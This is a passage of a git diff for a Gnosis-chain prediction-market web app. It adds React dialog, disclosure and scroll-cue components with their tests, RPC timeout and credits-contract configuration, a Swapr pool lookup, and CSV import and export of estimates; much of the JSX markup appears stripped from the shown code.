React.ReactNode; tooltipProps?: Omit, "text" | "children">; } -const WithHelpTooltip: React.FC = ({ tooltipMsg, children, place, tooltipProps }) => ( +const WithHelpTooltip: React.FC = ({ tooltipMsg, label = "Help", children, place, tooltipProps }) => (
    {children} - + {/* a 24px box whose ::before reaches the 44px target */} + + +
    ); diff --git a/apps/web/src/components/ui/__tests__/Dialog.test.tsx b/apps/web/src/components/ui/__tests__/Dialog.test.tsx new file mode 100644 index 00000000..9a7b02f8 --- /dev/null +++ b/apps/web/src/components/ui/__tests__/Dialog.test.tsx @@ -0,0 +1,48 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, expect, it, vi } from "vitest"; + +import { Dialog } from "../Dialog"; + +const renderDialog = (onClose = vi.fn()) => { + render( + +

    body

    +
    , + ); + return onClose; +}; + +describe("Dialog", () => { + it("shows the title, hint and body", () => { + renderDialog(); + + expect(screen.getByRole("heading", { name: "Deposit" })).toBeInTheDocument(); + expect(screen.getByText("From your account")).toBeInTheDocument(); + expect(screen.getByText("body")).toBeInTheDocument(); + }); + + it("closes from the corner button", async () => { + const onClose = renderDialog(); + + await userEvent.click(screen.getByRole("button", { name: "Close" })); + + expect(onClose).toHaveBeenCalledTimes(1); + }); + + it("closes when dismissed with Escape", async () => { + const onClose = renderDialog(); + + await userEvent.keyboard("{Escape}"); + + expect(onClose).toHaveBeenCalledTimes(1); + }); +}); + +describe("Dialog's accessible name", () => { + it("is its title", () => { + renderDialog(); + + expect(screen.getByRole("dialog", { name: "Deposit" })).toBeInTheDocument(); + }); +}); diff --git a/apps/web/src/components/ui/__tests__/Disclosure.test.tsx b/apps/web/src/components/ui/__tests__/Disclosure.test.tsx new file mode 100644 index 00000000..0b24d8ae --- /dev/null +++ b/apps/web/src/components/ui/__tests__/Disclosure.test.tsx @@ -0,0 +1,68 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, expect, it } from "vitest"; + +import { Disclosure } from "../Disclosure"; + +describe("Disclosure", () => { + it("keeps the collapsed body out of the tab order and reveals it on press", async () => { + render( + + + , + ); + + const button = screen.getByRole("button", { name: "Details" }); + expect(button).toHaveAttribute("aria-expanded", "false"); + expect(screen.queryByRole("textbox", { name: "Inside" })).toBeNull(); + + await userEvent.click(button); + + expect(button).toHaveAttribute("aria-expanded", "true"); + expect(screen.getByRole("textbox", { name: "Inside" })).toBeInTheDocument(); + }); + + it("keeps the collapsed body on the page, inert, for the button to point at", async () => { + render( + + + , + ); + const button = screen.getByRole("button", { name: "Details" }); + const body = document.getElementById(button.getAttribute("aria-controls")!)!; + const inside = () => body.querySelector("[aria-hidden], [inert]"); + + expect(body).toContainElement(screen.getByLabelText("Inside")); + expect(inside()).toHaveAttribute("inert"); + + await userEvent.click(button); + + expect(inside()).toBeNull(); + }); + + it("turns a chevron rather than a plus when asked", async () => { + render( + + a + , + ); + const glyph = screen.getByRole("button", { name: "Details" }).querySelector("svg")!; + + expect(glyph).toHaveClass("fs-chevron"); + expect(glyph).not.toHaveClass("rotate-180"); + await userEvent.click(screen.getByRole("button", { name: "Details" })); + expect(glyph).toHaveClass("rotate-180"); + }); + + it("gives each disclosure its own id for the body it controls", () => { + render( + <> + a + b + , + ); + + const [one, two] = screen.getAllByRole("button").map((b) => b.getAttribute("aria-controls")); + expect(one).not.toBe(two); + }); +}); diff --git a/apps/web/src/components/ui/__tests__/Modal.test.tsx b/apps/web/src/components/ui/__tests__/Modal.test.tsx new file mode 100644 index 00000000..efbc6883 --- /dev/null +++ b/apps/web/src/components/ui/__tests__/Modal.test.tsx @@ -0,0 +1,28 @@ +import { render, screen } from "@testing-library/react"; +import { describe, expect, it } from "vitest"; + +import { Modal } from "../Modal"; + +/** The overlay is the dialog's outermost ancestor carrying a `z-N` class: the layer it is stacked on. */ +function overlayLayers(dialog: Element): string[] { + let layers: string[] = []; + for (let node: Element | null = dialog; node; node = node.parentElement) { + const found = (node.getAttribute("class") ?? "").split(/\s+/).filter((name) => /^z-\d+$/.test(name)); + if (found.length > 0) layers = found; + } + return layers; +} + +describe("Modal", () => { + it("lays its overlay on z-40, over the sticky header's z-30", () => { + render(); + + expect(overlayLayers(screen.getByRole("dialog", { name: "Predict" }))).toContain("z-40"); + }); + + it("leaves a menu that opens from the header on the library's z-20, under it", () => { + render(); + + expect(overlayLayers(screen.getByRole("dialog", { name: "Menu" }))).toEqual(["z-20"]); + }); +}); diff --git a/apps/web/src/components/ui/__tests__/ScrollFade.test.tsx b/apps/web/src/components/ui/__tests__/ScrollFade.test.tsx new file mode 100644 index 00000000..14e3ea6c --- /dev/null +++ b/apps/web/src/components/ui/__tests__/ScrollFade.test.tsx @@ -0,0 +1,218 @@ +import { fireEvent, render, screen } from "@testing-library/react"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { ScrollFade } from "../ScrollFade"; + +/** jsdom lays nothing out, so the scroll container reports the sizes given here. */ +function sized(scrollHeight: number, clientHeight: number) { + vi.spyOn(HTMLElement.prototype, "scrollHeight", "get").mockReturnValue(scrollHeight); + vi.spyOn(HTMLElement.prototype, "clientHeight", "get").mockReturnValue(clientHeight); +} + +afterEach(() => { + vi.restoreAllMocks(); + vi.unstubAllGlobals(); +}); + +describe("ScrollFade's cue", () => { + it("stays hidden when less than a line is out of view", () => { + sized(309, 300); + render( + +

    body

    +
    , + ); + + expect(screen.getByTestId("more-below")).toHaveClass("opacity-0"); + }); + + it("shows when a line or more is out of view", () => { + sized(340, 300); + render( + +

    body

    +
    , + ); + + expect(screen.getByTestId("more-below")).toHaveClass("opacity-100"); + }); + + it("shows for an overflow of 1px or 2px where the least overflow is set to 1px", () => { + for (const scrollHeight of [301, 302]) { + sized(scrollHeight, 300); + const { unmount } = render( + +

    body

    +
    , + ); + + expect(screen.getByTestId("more-below")).toHaveClass("opacity-100"); + unmount(); + } + }); + + it("takes no room while nothing is out of view", () => { + sized(300, 300); + render( + +

    body

    +
    , + ); + + expect(screen.getByTestId("more-below")).toHaveClass("hidden"); + }); + + it("counts its own 22px strip, padding included, as room the scroll area gave up", () => { + // with the strip open, the scroll area is 22px shorter than it would be without it + vi.spyOn(HTMLElement.prototype, "offsetHeight", "get").mockReturnValue(22); + for (const [scrollHeight, shown] of [ + [323, true], + [322, false], + ] as const) { + sized(scrollHeight, 300); + const { unmount } = render( + +

    body

    +
    , + ); + + expect(screen.getByTestId("more-below")).toHaveClass(shown ? "flex" : "hidden"); + unmount(); + } + }); +}); + +describe("ScrollFade's cue nudge", () => { + /** jsdom has no matchMedia; this one answers only the reduced-motion query, as `reduce` says. */ + const prefersReducedMotion = (reduce: boolean) => + vi.stubGlobal("matchMedia", (query: string) => ({ + matches: reduce && query === "(prefers-reduced-motion: reduce)", + media: query, + })); + + const renderCue = () => + render( + +

    body

    +
    , + ); + + it("nudges while the cue shows", () => { + sized(340, 300); + renderCue(); + + expect(screen.getByTestId("more-below-nudge")).toHaveClass("fs-nudge-down"); + }); + + it("moves the arrow and the words together, lifting 3px and dropping 6px unless told less", () => { + sized(340, 300); + const { rerender } = renderCue(); + const nudge = screen.getByTestId("more-below-nudge"); + + expect(nudge).toContainElement(screen.getByTestId("more-below-arrow")); + expect(nudge).toHaveTextContent("More below"); + expect(nudge.style.getPropertyValue("--fs-nudge-lift")).toBe("3px"); + expect(nudge.style.getPropertyValue("--fs-nudge-drop")).toBe("6px"); + rerender( + +

    body

    +
    , + ); + expect(nudge.style.getPropertyValue("--fs-nudge-lift")).toBe("2px"); + expect(nudge.style.getPropertyValue("--fs-nudge-drop")).toBe("3px"); + }); + + it("stays still once its bursts have run, through a later re-measure", () => { + sized(340, 300); + renderCue(); + const arrow = screen.getByTestId("more-below-nudge"); + + // jsdom has no AnimationEvent, so React listens for the prefixed name + fireEvent(arrow, new Event("webkitAnimationEnd", { bubbles: true })); + expect(arrow).not.toHaveClass("fs-nudge-down"); + fireEvent(window, new Event("resize")); + expect(arrow).not.toHaveClass("fs-nudge-down"); + }); + + it("keeps nudging through a scroll the page makes itself", () => { + sized(340, 300); + renderCue(); + const scroller = screen.getByText("body").parentElement!; + + fireEvent.scroll(scroller); + expect(screen.getByTestId("more-below-nudge")).toHaveClass("fs-nudge-down"); + }); + + const visitorScrolls: Array<[string, (scroller: HTMLElement) => void]> = [ + ["a wheel", (scroller) => fireEvent.wheel(scroller, { deltaY: 40 })], + ["a touch drag", (scroller) => fireEvent.touchMove(scroller)], + ...["ArrowDown", "PageDown", "End", " "].map( + (key) => + [`the ${JSON.stringify(key)} key`, (scroller: HTMLElement) => fireEvent.keyDown(scroller, { key })] as [ + string, + (scroller: HTMLElement) => void, + ], + ), + ]; + for (const [name, scroll] of visitorScrolls) { + it(`stays still for good once the visitor scrolls the area with ${name}`, () => { + sized(340, 300); + renderCue(); + const arrow = screen.getByTestId("more-below-nudge"); + const scroller = screen.getByText("body").parentElement!; + + scroll(scroller); + fireEvent.scroll(scroller); + expect(arrow).not.toHaveClass("fs-nudge-down"); + // still more below after the scroll, so the cue stays + expect(screen.getByTestId("more-below")).toHaveClass("opacity-100"); + fireEvent(window, new Event("resize")); + expect(arrow).not.toHaveClass("fs-nudge-down"); + }); + } + + it("stays still for good once the arrow keys scroll the area from a button in it, and not at its space", () => { + sized(340, 300); + render( + + + , + ); + const button = screen.getByRole("button", { name: "Details" }); + const arrow = screen.getByTestId("more-below-nudge"); + + fireEvent.keyDown(button, { key: " " }); + expect(arrow).toHaveClass("fs-nudge-down"); + fireEvent.keyDown(button, { key: "ArrowDown" }); + expect(arrow).not.toHaveClass("fs-nudge-down"); + }); + + it("keeps nudging while the arrow keys and space go to a field in the area", () => { + sized(340, 300); + render( + + + , + ); + const field = screen.getByRole("textbox", { name: "Amount" }); + + for (const key of ["ArrowDown", "PageDown", " "]) fireEvent.keyDown(field, { key }); + expect(screen.getByTestId("more-below-nudge")).toHaveClass("fs-nudge-down"); + }); + + it("does not nudge under reduced motion", () => { + prefersReducedMotion(true); + sized(340, 300); + renderCue(); + + expect(screen.getByTestId("more-below")).toHaveClass("opacity-100"); + expect(screen.getByTestId("more-below-nudge")).not.toHaveClass("fs-nudge-down"); + }); + + it("does not nudge while nothing is out of view", () => { + sized(300, 300); + renderCue(); + + expect(screen.getByTestId("more-below-nudge")).not.toHaveClass("fs-nudge-down"); + }); +}); diff --git a/apps/web/src/components/wallet/AccountDetails.tsx b/apps/web/src/components/wallet/AccountDetails.tsx index 53ecb094..04f7ac57 100644 --- a/apps/web/src/components/wallet/AccountDetails.tsx +++ b/apps/web/src/components/wallet/AccountDetails.tsx @@ -2,10 +2,12 @@ import Link from "next/link"; -import { Copiable, Modal } from "@kleros/ui-components-library"; +import { Copiable } from "@kleros/ui-components-library"; import clsx from "clsx"; import { useAccount } from "wagmi"; +import { Modal } from "@/components/ui/Modal"; + import { AddressOrName, ChainDisplay, IdenticonOrAvatar } from "./AccountDisplay"; import { DisconnectWalletButton } from "./ConnectWallet"; @@ -17,6 +19,8 @@ interface IAccountDetails { const AccountDetails: React.FC = ({ isOpen, toggleIsOpen }) => { return (
    diff --git a/apps/web/src/components/wallet/__tests__/DevWallet.test.tsx b/apps/web/src/components/wallet/__tests__/DevWallet.test.tsx new file mode 100644 index 00000000..dc1f1d35 --- /dev/null +++ b/apps/web/src/components/wallet/__tests__/DevWallet.test.tsx @@ -0,0 +1,51 @@ +import type { ReactNode } from "react"; + +import { Modal } from "@kleros/ui-components-library"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { render, screen } from "@testing-library/react"; +import { hardhat } from "viem/chains"; +import { describe, expect, it, vi } from "vitest"; +import { createConfig, http, WagmiProvider } from "wagmi"; + +import { DevWallet } from "../DevWallet"; + +/* The app's AppKit config is never read here: the panel only connects on a click. */ +vi.mock("@/lib/web3/wagmi", () => ({ wagmiConfig: {} })); + +const config = createConfig({ chains: [hardhat], transports: { [hardhat.id]: http() } }); + +function Providers({ children }: { children: ReactNode }) { + return ( + + {children} + + ); +} + +/** The z-index of the outermost ancestor-or-self carrying Tailwind's `z-N`, the one that orders it among page layers. */ +function layerOf(element: Element): number { + let layer = Number.NaN; + for (let node: Element | null = element; node; node = node.parentElement) { + const match = /(?:^|\s)z-(\d+)(?:\s|$)/.exec(node.getAttribute("class") ?? ""); + if (match) layer = Number(match[1]); + } + return layer; +} + +describe("DevWallet", () => { + it("sits below an open modal", () => { + render( + + + + + + , + ); + + const panel = layerOf(screen.getByRole("complementary", { name: "Development wallet", hidden: true })); + const modal = layerOf(screen.getByRole("dialog", { name: "Predict" })); + + expect(panel).toBeLessThan(modal); + }); +}); diff --git a/apps/web/src/config/__tests__/chains.test.ts b/apps/web/src/config/__tests__/chains.test.ts index 995efe6d..5d0b346d 100644 --- a/apps/web/src/config/__tests__/chains.test.ts +++ b/apps/web/src/config/__tests__/chains.test.ts @@ -21,3 +21,15 @@ describe("isDevWalletEnabled", () => { t.expect((await import("../chains")).isDevWalletEnabled).toBe(false); }); }); + +describe("rpcTimeoutMs", () => { + it("waits longer on a local node, whose forked state can take its time to fetch", async (t) => { + const { rpcTimeoutMs } = await import("../chains"); + for (const url of ["http://127.0.0.1:8545", "http://localhost:8545"]) t.expect(rpcTimeoutMs(url)).toBe(120_000); + }); + + it("keeps the client's own timeout on a public endpoint, so a fallback is reached quickly", async (t) => { + const { rpcTimeoutMs } = await import("../chains"); + t.expect(rpcTimeoutMs("https://rpc.gnosischain.com")).toBeUndefined(); + }); +}); diff --git a/apps/web/src/config/__tests__/contracts.test.ts b/apps/web/src/config/__tests__/contracts.test.ts index 6f6ce4a2..b3115fbc 100644 --- a/apps/web/src/config/__tests__/contracts.test.ts +++ b/apps/web/src/config/__tests__/contracts.test.ts @@ -1,7 +1,7 @@ import { gnosis, hardhat } from "viem/chains"; import { describe, it } from "vitest"; -import { sessionFactoryAddress, tradeExecutorFactoryAddress } from "../contracts"; +import { creditsContracts, sessionFactoryAddress, tradeExecutorFactoryAddress } from "../contracts"; describe("sessionFactoryAddress", () => { it("resolves every deployed network", (t) => { @@ -18,3 +18,24 @@ describe("tradeExecutorFactoryAddress", () => { t.expect(tradeExecutorFactoryAddress(1)).toBeNull(); }); }); + +describe("creditsContracts", () => { + it("resolves gnosis, and so its fork, to the live Foresight credits pair", (t) => { + t.expect(creditsContracts(gnosis.id)).toEqual({ + credits: "0x09E7014D2c15Eb8C5ee25853FE6842FF5E2c94f9", + manager: "0x17592eFE59a318A6B0AFE32145ee04eAFeeA8A61", + }); + }); + + it("resolves the local chain to its own deployment", (t) => { + const local = creditsContracts(hardhat.id); + + t.expect(local).not.toBeNull(); + t.expect(local?.credits).not.toBe(local?.manager); + t.expect(local?.manager).not.toBe(creditsContracts(gnosis.id)?.manager); + }); + + it("has nothing for a chain without credits", (t) => { + t.expect(creditsContracts(1)).toBeNull(); + }); +}); diff --git a/apps/web/src/config/__tests__/site.test.ts b/apps/web/src/config/__tests__/site.test.ts index 3c23b707..f042fac5 100644 --- a/apps/web/src/config/__tests__/site.test.ts +++ b/apps/web/src/config/__tests__/site.test.ts @@ -1,9 +1,10 @@ import { gnosis, hardhat } from "viem/chains"; import { describe, expect, it } from "vitest"; -import { explorerAddressUrl } from "../site"; +import { explorerAddressUrl, explorerTxUrl } from "../site"; const ADDRESS = "0x2bb7B842BB6d678730A6d63910CAd47f01AF98A4"; +const HASH = `0x${"ab".repeat(32)}`; describe("explorerAddressUrl", () => { it("points at the chain's own explorer", () => { @@ -20,3 +21,19 @@ describe("explorerAddressUrl", () => { expect(explorerAddressUrl(ADDRESS, chain)).toBe(`https://gnosisscan.io/address/${ADDRESS}`); }); }); + +describe("explorerTxUrl", () => { + it("points at the transaction on the chain's own explorer", () => { + expect(explorerTxUrl(HASH, gnosis)).toBe(`https://gnosisscan.io/tx/${HASH}`); + }); + + it("gives nothing on a chain with no explorer, which is every local node", () => { + expect(explorerTxUrl(HASH, hardhat)).toBeUndefined(); + }); + + it("does not double the slash where the explorer url carries a trailing one", () => { + const chain = { blockExplorers: { default: { url: "https://gnosisscan.io/" } } }; + + expect(explorerTxUrl(HASH, chain)).toBe(`https://gnosisscan.io/tx/${HASH}`); + }); +}); diff --git a/apps/web/src/config/chains.ts b/apps/web/src/config/chains.ts index 9fb2508d..65b680cd 100644 --- a/apps/web/src/config/chains.ts +++ b/apps/web/src/config/chains.ts @@ -9,8 +9,14 @@ export const isLocalChainEnabled = const gnosisRpc = process.env.NEXT_PUBLIC_GNOSIS_RPC || ""; +const LOCAL_NODE = /^https?:\/\/(127\.0\.0\.1|localhost)([:/]|$)/; + /** Hardhat unlocks its accounts, so the dev wallet works wherever the chain is a local node. */ -export const isDevWalletEnabled = isLocalChainEnabled || /^https?:\/\/(127\.0\.0\.1|localhost)([:/]|$)/.test(gnosisRpc); +export const isDevWalletEnabled = isLocalChainEnabled || LOCAL_NODE.test(gnosisRpc); + +// a send on a fork can take longer than viem's default while the node fetches remote state, +// and a send that times out client-side may still mine +export const rpcTimeoutMs = (url: string): number | undefined => (LOCAL_NODE.test(url) ? 120_000 : undefined); export const DEFAULT_CHAIN = isLocalChainEnabled ? hardhat : gnosis; diff --git a/apps/web/src/config/contracts.ts b/apps/web/src/config/contracts.ts index 2fbbbb85..ef1ceeff 100644 --- a/apps/web/src/config/contracts.ts +++ b/apps/web/src/config/contracts.ts @@ -1,5 +1,5 @@ import { gnosis, localhost } from "@foresight/contracts"; -import { isAddressEqual, type Address } from "viem"; +import { isAddressEqual, parseAbi, type Address } from "viem"; import { DEFAULT_CHAIN_ID } from "./chains"; @@ -37,6 +37,64 @@ export function gnosisRouterAddress(chainId: number = DEFAULT_CHAIN_ID): Address return GNOSIS_ROUTER_ADDRESSES[chainId] ?? null; } +/** Same contracts on both; gnosis' manager spends real sDAI, the local one a mintable stand-in. */ +export const foresightCreditsAbi = localhost.foresightCreditsAbi; + +export const creditsManagerAbi = localhost.creditsManagerAbi; + +export type CreditsContracts = { credits: Address; manager: Address }; + +const FORESIGHT_CREDITS_ADDRESSES: Record = { + ...localhost.foresightCreditsAddress, + ...gnosis.foresightCreditsAddress, +}; +const CREDITS_MANAGER_ADDRESSES: Record = { + ...localhost.creditsManagerAddress, + ...gnosis.creditsManagerAddress, +}; + +export function creditsContracts(chainId: number = DEFAULT_CHAIN_ID): CreditsContracts | null { + const credits = FORESIGHT_CREDITS_ADDRESSES[chainId]; + const manager = CREDITS_MANAGER_ADDRESSES[chainId]; + if (!credits || !manager) return null; + + return { credits, manager }; +} + +/** Wrapped xDAI, the asset behind sDAI and what the credits swap pays out. */ +export const wxdaiAbi = parseAbi(["function withdraw(uint256 wad)"]); + +const WXDAI_ADDRESSES: Record = { 100: "0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d" }; + +/** Swapr's Algebra router: Lens' target for a single-pool swap, and the one the credits manager whitelists. */ +const SWAPR_ROUTER_ADDRESSES: Record = { 100: "0xfFB643E73f280B97809A8b41f7232AB401a04ee1" }; + +export const swaprRouterAddress = (chainId: number): Address | undefined => SWAPR_ROUTER_ADDRESSES[chainId]; + +const SWAPR_FACTORY_ADDRESSES: Record = { 100: "0xA0864cCA6E114013AB0e27cbd5B6f4c8947da766" }; + +export const swaprFactoryAddress = (chainId: number): Address | undefined => SWAPR_FACTORY_ADDRESSES[chainId]; + +export interface CreditsRoute { + /** The credits token. */ + token: Address; + manager: Address; + wxdai: Address; + swaprRouter: Address; +} + +/** + * What a run needs to spend credits: the credits, their manager, WXDAI and the router the manager + * swaps through. Null unless the manager spends `collateral`, which is Gnosis' sDAI. + */ +export function creditsRoute(collateral: Address, chainId: number = DEFAULT_CHAIN_ID): CreditsRoute | null { + const contracts = creditsContracts(chainId); + const wxdai = WXDAI_ADDRESSES[chainId]; + const swaprRouter = SWAPR_ROUTER_ADDRESSES[chainId]; + if (!contracts || !wxdai || !swaprRouter || !sDaiDepositRoute(collateral, chainId)) return null; + return { token: contracts.credits, manager: contracts.manager, wxdai, swaprRouter }; +} + export const sDaiAdapterAbi = gnosis.savingsXDaiAdapterAbi; const S_DAI_ADDRESSES: Record = { ...gnosis.savingsXDaiAddress }; diff --git a/apps/web/src/config/rpc.ts b/apps/web/src/config/rpc.ts index e786b968..fd472575 100644 --- a/apps/web/src/config/rpc.ts +++ b/apps/web/src/config/rpc.ts @@ -1,7 +1,7 @@ import { fallback, http, type Transport } from "viem"; import { gnosis, hardhat, mainnet } from "viem/chains"; -import { LOCAL_RPC_URL } from "./chains"; +import { LOCAL_RPC_URL, rpcTimeoutMs } from "./chains"; import { env } from "./env"; /** @@ -22,7 +22,7 @@ const GNOSIS_RPCS = gnosisRpcUrls(env.GNOSIS_RPC); const MAINNET_RPCS = ["https://ethereum-rpc.publicnode.com", "https://eth.llamarpc.com"]; export const transports = { - [gnosis.id]: fallback(GNOSIS_RPCS.map((url) => http(url, { batch: true }))), + [gnosis.id]: fallback(GNOSIS_RPCS.map((url) => http(url, { batch: true, timeout: rpcTimeoutMs(url) }))), [mainnet.id]: fallback(MAINNET_RPCS.map((url) => http(url, { batch: true }))), - [hardhat.id]: http(LOCAL_RPC_URL), + [hardhat.id]: http(LOCAL_RPC_URL, { timeout: rpcTimeoutMs(LOCAL_RPC_URL) }), } as const satisfies Record; diff --git a/apps/web/src/config/site.ts b/apps/web/src/config/site.ts index 7d849e5b..4db05d72 100644 --- a/apps/web/src/config/site.ts +++ b/apps/web/src/config/site.ts @@ -18,7 +18,13 @@ export const siteConfig = { export const seerMarketUrl = (parentMarket: string, chainId: number) => chainId === gnosis.id ? `https://app.seer.pm/markets/${chainId}/${parentMarket}` : undefined; -export const explorerAddressUrl = (address: string, chain: { blockExplorers?: { default: { url: string } } }) => { +type ExplorerChain = { blockExplorers?: { default: { url: string } } }; + +const explorerUrl = (chain: ExplorerChain, path: string) => { const explorer = chain.blockExplorers?.default.url; - return explorer ? `${explorer.replace(/\/+$/, "")}/address/${address}` : undefined; + return explorer ? `${explorer.replace(/\/+$/, "")}/${path}` : undefined; }; + +export const explorerAddressUrl = (address: string, chain: ExplorerChain) => explorerUrl(chain, `address/${address}`); + +export const explorerTxUrl = (hash: string, chain: ExplorerChain) => explorerUrl(chain, `tx/${hash}`); diff --git a/apps/web/src/features/predict/api/getOptionPools.ts b/apps/web/src/features/predict/api/getOptionPools.ts new file mode 100644 index 00000000..b4befe2e --- /dev/null +++ b/apps/web/src/features/predict/api/getOptionPools.ts @@ -0,0 +1,87 @@ +"use client"; + +import { isAddressEqual, parseAbi, zeroAddress, type Address, type PublicClient } from "viem"; + +import type { PoolRef } from "@/lib/swap/algebraPool"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; +import { swaprFactoryAddress } from "@/config/contracts"; + +import type { PredictOption } from "../flow/types"; + +const FACTORY_ABI = parseAbi(["function poolByPair(address tokenA, address tokenB) view returns (address)"]); +const POOL_ABI = parseAbi(["function token0() view returns (address)", "function token1() view returns (address)"]); + +export type OptionPoolRefs = { up?: PoolRef; down?: PoolRef }; +export type PoolRefsByMarket = Record; + +const references = new WeakMap>>(); + +async function poolRef( + client: PublicClient, + factory: Address, + outcome: Address, + underlying: Address, +): Promise { + let cache = references.get(client); + if (!cache) references.set(client, (cache = new Map())); + const key = `${factory}:${outcome}:${underlying}`.toLowerCase(); + const cached = cache.get(key); + if (cached) return cached; + const reading = (async () => { + const address = await client.readContract({ + address: factory, + abi: FACTORY_ABI, + functionName: "poolByPair", + args: [outcome, underlying], + }); + if (isAddressEqual(address, zeroAddress)) return undefined; + const [token0, token1] = await Promise.all([ + client.readContract({ address, abi: POOL_ABI, functionName: "token0" }), + client.readContract({ address, abi: POOL_ABI, functionName: "token1" }), + ]); + const outcomeIsToken0 = isAddressEqual(outcome, token0); + if ( + !isAddressEqual(outcome, outcomeIsToken0 ? token0 : token1) || + !isAddressEqual(underlying, outcomeIsToken0 ? token1 : token0) + ) { + throw new Error("The trading pool does not match this option's tokens."); + } + return { address, outcomeIsToken0 }; + })(); + cache.set(key, reading); + try { + const ref = await reading; + // A missing pool can be created later; an existing pool's identity and tokens cannot change. + if (!ref) cache.delete(key); + return ref; + } catch (error) { + cache.delete(key); + throw error; + } +} + +/** Canonical references shared by preview and execution, cached per client and token pair. */ +export async function fetchSessionPools( + client: PublicClient, + options: readonly Pick[], +): Promise { + const factory = swaprFactoryAddress(client.chain?.id ?? DEFAULT_CHAIN_ID); + if (!factory) throw new Error("This network has no trading pool factory."); + return Object.fromEntries( + await Promise.all( + options.map(async (option) => { + const [up, down] = await Promise.all([ + poolRef(client, factory, option.upToken, option.underlying), + poolRef(client, factory, option.downToken, option.underlying), + ]); + return [option.childMarket.toLowerCase(), { up, down }]; + }), + ), + ); +} + +/** An option without a pool has no tradeable side. */ +export function optionPoolRefs(byMarket: PoolRefsByMarket, childMarket: string): OptionPoolRefs { + return byMarket[childMarket.toLowerCase()] ?? {}; +} diff --git a/apps/web/src/features/predict/api/getSavingsRate.ts b/apps/web/src/features/predict/api/getSavingsRate.ts new file mode 100644 index 00000000..dfb00561 --- /dev/null +++ b/apps/web/src/features/predict/api/getSavingsRate.ts @@ -0,0 +1,23 @@ +"use client"; + +import { skipToken, useQuery } from "@tanstack/react-query"; +import { erc4626Abi, type Address } from "viem"; + +import { STALE_TIME } from "@/lib/query"; +import { publicClient } from "@/lib/web3/public-client"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +const WAD = 10n ** 18n; + +/** xDAI one sDAI redeems for, as a wad. */ +export function useSavingsRate(sDai: Address | undefined) { + return useQuery({ + queryKey: ["savings-rate", DEFAULT_CHAIN_ID, sDai], + queryFn: sDai + ? () => + publicClient.readContract({ address: sDai, abi: erc4626Abi, functionName: "convertToAssets", args: [WAD] }) + : skipToken, + staleTime: STALE_TIME.live, + }); +} diff --git a/apps/web/src/features/predict/components/EstimateActions.tsx b/apps/web/src/features/predict/components/EstimateActions.tsx new file mode 100644 index 00000000..2f27f79b --- /dev/null +++ b/apps/web/src/features/predict/components/EstimateActions.tsx @@ -0,0 +1,63 @@ +import clsx from "clsx"; + +import LightButton from "@/components/ui/LightButton"; + +import DownloadIcon from "@/assets/svg/download.svg"; + +import { fileStamp } from "@/utils/date"; +import { downloadTextFile } from "@/utils/download"; + +import type { OptionScale } from "@/types/optionScale"; + +import { useEstimateStore, useSessionEstimates } from "../stores/estimateStore"; +import { serializeEstimateCsv } from "../utils/estimateCsv"; +import { selectedEstimates } from "../utils/estimates"; + +interface EstimateActionsProps { + parentMarket: string; + scales: OptionScale[]; + marketEstimates: Record; + isDisabled?: boolean; +} + +/** Export and reset, as text actions, for the estimates that would become predictions. Nothing until one is set. */ +export function EstimateActions({ parentMarket, scales, marketEstimates, isDisabled }: EstimateActionsProps) { + const estimates = useSessionEstimates(parentMarket); + const resetEstimates = useEstimateStore((state) => state.resetEstimates); + + const selected = selectedEstimates(scales, estimates, marketEstimates); + if (selected.length === 0) return null; + + const exportCsv = () => + downloadTextFile( + `estimates-${fileStamp(new Date())}.csv`, + serializeEstimateCsv(selected.map(({ scale, value }) => ({ name: scale.name, estimate: value }))), + "text/csv", + ); + + return ( +
    + } + /> + resetEstimates(parentMarket)} + className={LINK} + /> +
    + ); +} + +/** Text actions beside the option cards: no fill, accent text, an underline on hover. */ +export const LINK = clsx( + "p-0 hover:bg-transparent", + "[&_.button-text]:text-fs-text-accent [&_.button-text]:text-sm [&_.button-text]:font-normal", + "hover:[&_.button-text]:underline", +); diff --git a/apps/web/src/features/predict/components/EstimateCsvDialog.tsx b/apps/web/src/features/predict/components/EstimateCsvDialog.tsx new file mode 100644 index 00000000..f298d69c --- /dev/null +++ b/apps/web/src/features/predict/components/EstimateCsvDialog.tsx @@ -0,0 +1,122 @@ +import { useState } from "react"; + +import { Button, FileUploader } from "@kleros/ui-components-library"; +import clsx from "clsx"; + +import { Dialog } from "@/components/ui/Dialog"; +import LightButton from "@/components/ui/LightButton"; + +import UploadIcon from "@/assets/svg/upload.svg"; + +import { downloadTextFile } from "@/utils/download"; +import { successToast } from "@/utils/toast"; + +import type { OptionScale } from "@/types/optionScale"; + +import { LINK } from "./EstimateActions"; +import { useEstimateStore, useSessionEstimates } from "../stores/estimateStore"; +import { CSV_COLUMNS, parseEstimateCsv, serializeEstimateCsv } from "../utils/estimateCsv"; + +interface EstimateCsvDialogProps { + parentMarket: string; + scales: OptionScale[]; + marketEstimates: Record; + /** The creator's plural noun, already lowercased. */ + noun: string; + isDisabled?: boolean; +} + +/** A button and its dialog: estimates for every option at once, from a two-column CSV. */ +export function EstimateCsvDialog({ parentMarket, scales, marketEstimates, noun, isDisabled }: EstimateCsvDialogProps) { + const [isOpen, setIsOpen] = useState(false); + const [file, setFile] = useState(); + const [error, setError] = useState(); + + const estimates = useSessionEstimates(parentMarket); + const setEstimate = useEstimateStore((state) => state.setEstimate); + const clearEstimate = useEstimateStore((state) => state.clearEstimate); + + const close = () => { + setIsOpen(false); + setFile(undefined); + setError(undefined); + }; + + const templateRows = scales.map((scale) => ({ + name: scale.name, + estimate: estimates[scale.market.toLowerCase()] ?? null, + })); + + const load = async () => { + if (!file) return; + try { + const parsed = parseEstimateCsv(await file.text(), scales); + for (const { scale, value } of parsed) { + if (value === null) continue; + // a row at the market's own number is no prediction, same as the slider left there + if (value === marketEstimates[scale.market.toLowerCase()]) clearEstimate(parentMarket, scale.market); + else setEstimate(parentMarket, scale.market, value); + } + successToast("Estimates loaded."); + close(); + } catch (caught) { + setError(caught instanceof Error ? caught.message : "This file could not be read."); + } + }; + + return ( + <> + setIsOpen(true)} + className={clsx(LINK, "flex-row-reverse")} + icon={} + /> + +
    +

    Required columns

    +
    +            {CSV_COLUMNS.join(",")}
